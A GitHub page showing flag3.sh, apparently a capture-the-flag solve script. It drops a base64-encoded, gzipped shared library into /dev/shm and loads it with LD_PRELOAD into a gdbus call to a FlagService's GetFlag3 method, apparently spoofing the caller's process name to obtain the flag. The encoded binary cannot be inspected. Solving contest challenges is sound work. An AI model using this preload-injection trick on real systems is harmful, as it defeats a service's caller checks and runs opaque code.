-
Notifications
You must be signed in to change notification settings - Fork 56
/
flag3.sh
39 lines (37 loc) · 2.25 KB
/
flag3.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash
libpath=/dev/shm/libset_comm_to_getflag3.so
cat >${libpath}.gz.txt <<EOF
H4sICE7BLGcAA2xpYnNldF9jb21tX3RvX2dldGZsYWczLnNvAK1XX2gcRRz+7V2uuabteYaahLbo
IkTjy+aPSY2xLXcxTU+ah7RqpVTdbO72/tDL7XV32yYF8SBUPGo1Copv7Vv7pH0TFPTUQvGt4JNv
QRByrUhQWopCzpnd3+9udrizCs6x9833zXwzszO/md19+/DcbEhRgFIYDkGLASQIe0RtEqLsvw8e
g22Md4n1JKwpQYyirqCvU9q3LYgQb/kiYnlfEF9Rgij6uKXc7fPy00Fcx/pr0aAv9BBfRQki2Y//
4ma6/kN/NNx59F2P+FzG3RBEmsNjzEdT9X8kPh61jd7Prt42+r4O+pMd9KEO+kgH/Tl2PdpGP9Sh
/mwHPe7pMUhgvFxrlihsrfkv3PwpnqrAUfDnIo48B625ObunsJ1HyakADzc5b6MHcQ+7KlxM+Npw
eHTfDob8onXka8hDIsyubmHcrFEvFoVt2GyfUqTN/YKu55asku64hu3qOjhW+rTpglU2S3DeLrgm
pIuWY4Kz4qSNYhHKpm1bNjhuhmUgW7YLJTcL5nLBhWJhsezmbdPIaI6ljcCRuZemX9THtDFtgpel
ubqf5xzT1dPW0pLuWnrOdLNFI/csK/SGsznUuk9x7A8EXbzvgWd87Mb7p6QKeljQhwRdPF9GBF2c
p0lBF/dPQtCjgp4S9O2CPly2rfSwYxazw/zWge7bm2lVKlWzRqFoZqZUfwlk6lqWmjXPq4srrulM
qYMXMj2g7A2/sBvn7NO4v094onNAuXAclOW4sndnd3SNVToA/p5ciGOMJ2Px6djAdExNxoaSsZHV
yPtdH4TfCYVOcqp6RfFkLHo4NtK8p9Tqr9HU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64 -d ${libpath}.gz.txt > ${libpath}.gz
gunzip ${libpath}.gz
chmod +x $libpath
LD_PRELOAD=$libpath gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag3